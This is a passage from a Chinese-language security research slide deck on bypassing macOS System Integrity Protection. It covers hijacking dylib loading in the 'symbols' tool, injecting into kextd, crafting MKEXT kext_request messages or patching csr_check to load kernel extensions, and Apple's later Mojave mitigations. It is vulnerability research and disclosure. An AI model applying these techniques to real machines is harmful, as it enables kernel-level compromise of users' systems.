    • 例如 com.apple.rootless.install.heritable 不仅可以写入受
    保护的路径,派生的子进程也具有绕过 rootless 的特权

    View full-size slide

  145. 触发劫持
    • 使用 symbols 命令
    • symbols [pid] -printDemangling
    • 当目标进程具有 Swift 运行库,会触发 CoreSymbolication
    的 call_external_demangle 函数
    • 使用环境变量和沙箱强制其注入模块

    View full-size slide

  146. 12 libdyld.dylib 0x00007fff5178ad86 dlopen + 86
    13 com.apple.CoreSymbolication 0x00007fff3d800332 invocation function for
    block in call_external_demangle(char const*) + 348
    14 libdispatch.dylib 0x00007fff5174fe08 _dispatch_client_callout + 8
    15 libdispatch.dylib 0x00007fff5174fdbb dispatch_once_f + 41
    16 com.apple.CoreSymbolication 0x00007fff3d7a380f demangle + 298
    17 com.apple.CoreSymbolication 0x00007fff3d7a35e3
    TRawSymbol::name() + 75
    18 com.apple.CoreSymbolication 0x00007fff3d7a888e CSSymbolGetName + 166
    19 symbols 0x000000010ffc386a 0x10ffb7000 + 51306
    20 symbols 0x000000010ffc3cbe 0x10ffb7000 + 52414
    21 com.apple.CoreSymbolication 0x00007fff3d7eba37
    TRawSymbolOwnerData::symbols_in_address_range(CSCppSymbolOwner*,
    TRange, void (_CSTypeRef) block_pointer) + 127
    22 symbols 0x000000010ffc3c8e 0x10ffb7000 + 52366
    23 com.apple.CoreSymbolication 0x00007fff3d7eb890
    TRawSymbolOwnerData::regions_in_address_range(CSCppSymbolOwner*,
    TRange, void (_CSTypeRef) block_pointer) + 124
    24 symbols 0x000000010ffc3b6f 0x10ffb7000 + 52079
    25 com.apple.CoreSymbolication 0x00007fff3d7c6c6a CSSymbolOwnerForeachSegment
    + 92
    26 symbols 0x000000010ffc3af2 0x10ffb7000 + 51954
    27 com.apple.CoreSymbolication 0x00007fff3d7adbee
    CSSymbolicatorForeachSymbolOwnerAtTime + 95
    28 symbols 0x000000010ffc25b1 0x10ffb7000 + 46513
    29 symbols 0x000000010ffc00ee 0x10ffb7000 + 37102

    View full-size slide

  147. System Integrity Protection: enabled
    Crashed Thread: 0 Dispatch queue: com.apple.main-thread
    Exception Type: EXC_BAD_ACCESS (Code Signature Invalid)
    Exception Codes: 0x0000000000000032, 0x000000010d745000
    Exception Note: EXC_CORPSE_NOTIFY
    Termination Reason: Namespace CODESIGNING, Code 0x2
    kernel messages:
    External Modification Warnings:
    Process used task_for_pid().
    VM Regions Near 0x10d745000:
    MALLOC_LARGE 000000010d70a000-000000010d745000 [ 236K] rw-
    /rwx SM=PRV
    --> mapped file 000000010d745000-000000010d746000 [ 4K] r-x/r-
    x SM=PRV Object_id=2929ab85
    mapped file 000000010d748000-000000010d762000 [ 104K] r--/r--
    SM=ALI Object_id=2af85085
    Application Specific Information:
    dyld: in dlopen()
    /var/folders/4d/1_vz_55x0mn_w1cyjwr9w42c0000gn/T/tmp.0b5SeUjh/Toolchains/XcodeDe
    fault.xctoolchain/usr/lib/libswiftDemangle.dylib
    12 libdyld.dylib 0x00007fff66c9fd86 dlopen + 86
    13 com.apple.CoreSymbolication 0x00007fff52d15332 invocation function for block
    in call_external_demangle(char const*) + 348
    14 libdispatch.dylib 0x00007fff66c64e08 _dispatch_client_callout + 8
    15 libdispatch.dylib 0x00007fff66c64dbb dispatch_once_f + 41
    16 com.apple.CoreSymbolication 0x00007fff52cb880f demangle + 298
    17 com.apple.CoreSymbolication 0x00007fff52cb85e3 TRawSymbol::name()
    + 75
    18 com.apple.CoreSymbolication 0x00007fff52cbd88e CSSymbolGetName + 166

    View full-size slide

  148. Library Validation
    • 错误信息 Code Signature Invalid
    • macOS 的数字签名提供一个 LibraryValidation 标志
    • 开启后仅允许加载具有同一证书,或 Apple 官方签名的
    动态库,否则 dlopen 失败
    • SamplingTools 在 HighSierra 上开启了 LibraryValidation

    View full-size slide

  149. I’m old, not obsolete
    High Sierra
    El Capitan
    ➜ bin codesign -dvvv symbols
    Identifier=com.apple.SamplingTools
    Format=Mach-O thin (x86_64)
    CodeDirectory v=20100 size=1384 flags=0x2000(library-validation)
    hashes=36+5 location=embedded
    Platform identifier=4
    Hash type=sha256 size=32
    ➜ bin codesign -dvvv symbols
    Identifier=com.apple.SamplingTools
    Format=Mach-O thin (x86_64)
    CodeDirectory v=20100 size=812 flags=0x0(none) hashes=32+5
    location=embedded
    Platform identifier=1
    Hash type=sha1 size=20

    View full-size slide

  150. 用户态到内核

    View full-size slide

  151. 提交内核扩展
    • 利用 launchd 启动 Mach 服务
    com.apple.KernelExtensionServer (/usr/libexec/kextd)
    • 使用 dylib 劫持等技巧获取 kextd 的 task port
    • kextd 不受 LibraryValidation 防御,直接注入dylib 即可
    • 假借 kextd 的名义让内核加载扩展
    • 方案 A:手动构造MKEXT 请求调用kext_request
    • 方案 B:hook 掉关键检查函数,然后调用 IOKit的
    OSKextLoadWithOptions 让系统库来发送MKEXT 请求

    View full-size slide

  152. kext_request
    • 枚举、安装、卸载内核扩展
    • 函数原型
    kern_return_t kext_request(host_priv_t host_priv,
    uint32_t user_log_flags, vm_offset_t request_data,
    mach_msg_type_number_t request_dataCnt, vm_offset_t
    *response_data, mach_msg_type_number_t
    *response_dataCnt, vm_offset_t *log_data,
    mach_msg_type_number_t *log_dataCnt, kern_return_t
    *op_result);
    • 参数
    • request_data:MKEXT 格式
    • response_data:返回结果的 buffer
    • log_data:日志信息的 buffer

    View full-size slide

  153. MKEXT 格式
    0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
    00000000 4d 4b 58 54 4d 4f 53 58 00 01 96 61 12 d4 f8 fe MKXTMOSX...a....
    00000010 02 00 20 01 00 00 00 01 01 00 00 07 00 00 00 03 .. .............
    00000020 00 01 8e a4 00 00 00 00 00 00 07 bd 00 00 00 00 ................
    00000030 00 01 8e 70 cf fa ed fe 07 00 00 01 03 00 00 00 ...p............
    00000040 0b 00 00 00 08 00 00 00 a8 03 00 00 85 00 00 00 ................
    00000050 00 00 00 00 19 00 00 00 38 01 00 00 5f 5f 54 45 ........8...__TE
    00000060 58 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 XT..............
    ......
    00018ea0 00 00 00 00 3c 64 69 63 74 3e 3c 6b 65 79 3e 4b ....K
    00018eb0 65 78 74 20 52 65 71 75 65 73 74 20 50 72 65 64 ext Request Pred
    00018ec0 69 63 61 74 65 3c 2f 6b 65 79 3e 3c 73 74 72 69 icate00018ed0 6e 67 3e 4c 6f 61 64 3c 2f 73 74 72 69 6e 67 3e ng>Load
    00018ee0 3c 6b 65 79 3e 4b 65 78 74 20 52 65 71 75 65 73 Kext Reques
    00018ef0 74 20 41 72 67 75 6d 65 6e 74 73 3c 2f 6b 65 79 t Arguments00018f00 3e 3c 64 69 63 74 3e 3c 6b 65 79 3e 53 74 61 72 >Star
    ......
    00019640 44 52 45 46 3d 22 32 22 2f 3e 3c 2f 64 69 63 74 DREF="2"/>00019650 3e 3c 2f 61 72 72 61 79 3e 3c 2f 64 69 63 74 3e >
    00019660 00 .

    View full-size slide

  154. MKEXT 格式
    #define MKEXT_MAGIC 0x4D4B5854 /* 'MKXT' */
    #define MKEXT_SIGN 0x4D4F5358 /* 'MOSX' */
    typedef struct mkext2_header {
    // #define MKEXT_HEADER_CORE
    uint32_t magic; // always 'MKXT'
    uint32_t signature; // always 'MOSX'
    uint32_t length; // the length of the whole file
    uint32_t adler32; // checksum from &version to end of file
    uint32_t version; // a 'vers' style value
    uint32_t numkexts; // how many kexts are in the archive
    cpu_type_t cputype; // same as Mach-O
    cpu_subtype_t cpusubtype; // same as Mach-O
    uint32_t plist_offset;
    uint32_t plist_compressed_size;
    uint32_t plist_full_size;
    } mkext2_header;

    View full-size slide

  155. MKEXT 格式
    typedef struct mkext2_file_entry {
    uint32_t compressed_size; // if zero, file is not compressed
    uint32_t full_size; // full size of data w/o this struct
    uint8_t data[0]; // data is inline to this struct
    } mkext2_file_entry;

    View full-size slide

  156. MKEXT 格式
    mkext2_header mkext2_file_entry plist
    • 长度、校验值、版本、CPU 类型等信息
    • file entry 包含 KEXT 可执行文件的完整二进制内容
    • 一个请求可包含多个 file entry
    • plist 为内核扩展的元数据
    • id
    • 依赖项
    • 路径
    • 部分 Info.plist 信息

    View full-size slide

  157. kextd 补丁
    • 用户态检查
    • 代码签名:OSKextIsAuthentic
    • Staging:rootless_check_trusted_class
    • SKEL:-[SPKernelExtensionPolicy
    canLoadKernelExtensionInCache:error]
    • 以上函数最终都会调用 csr_check
    • csr_check 就是 Kill Switch
    • 补丁之后,外部手动使用 kextload 命令也会被放行

    View full-size slide

  158. 苹果的修复和缓解

    View full-size slide

  159. 无意的补丁?
    • 早在漏洞公开前,Mojave 开发者预览版就移除掉了 dylib 劫持
    的代码
    • 更像是代码重构而不是修复
    void ____ZL22call_external_demanglePKc_block_invoke(void) {
    char *bDoNotDemangleSwift;
    void *handle;
    bDoNotDemangleSwift = _getenv("CS_DO_NOT_DEMANGLE_SWIFT");
    if ((bDoNotDemangleSwift == NULL) ||
    (((byte)(*bDoNotDemangleSwift - 0x30U) < 0x3f &&
    ((0x4000000040000001U >> ((ulong)(byte)(*bDoNotDemangleSwift - 0x30U) & 0x1f) &
    1) != 0)))) {
    handle =
    _dlopen("/System/Library/PrivateFrameworks/Swift/libswiftDemangle.dylib",1);
    if (handle != 0) {
    __ZL25demanglerLibraryFunctions.0 =
    _dlsym(handle,"swift_demangle_getSimplifiedDemangledName");
    }
    }
    return;
    }

    View full-size slide

  160. 缓解措施
    • 此类 dylib 劫持在 macOS Mojave 上不再起作用
    • Mojave 引入了 Hardened Runtime (App Notarization)
    • 即使代码签名没有 LibraryValidation,仍然默认全局启用
    • 除非显式使用 com.apple.security.cs.disable-library-validation
    entitlement 禁用
    • 每一个 com.apple.SamplingTools 工具的 bundle id 都被重
    命名,并在 AMFI 驱动中特殊处理
    • 例如 com.apple.SamplingTools.vmmap
    • 在 AppleMobileFileIntegrity.kext!macos_task_policy硬编码
    了新的 SamplingTools id
    • 引入了新的 entitlement
    • com.apple.system-task-ports.safe

    View full-size slide

  161. 结语
    操作系统的安全性
    具有显著的木桶效

    操作系统的复杂性
    决定其攻击方式充
    满多样性
    安全研究不要循规
    蹈矩

    View full-size slide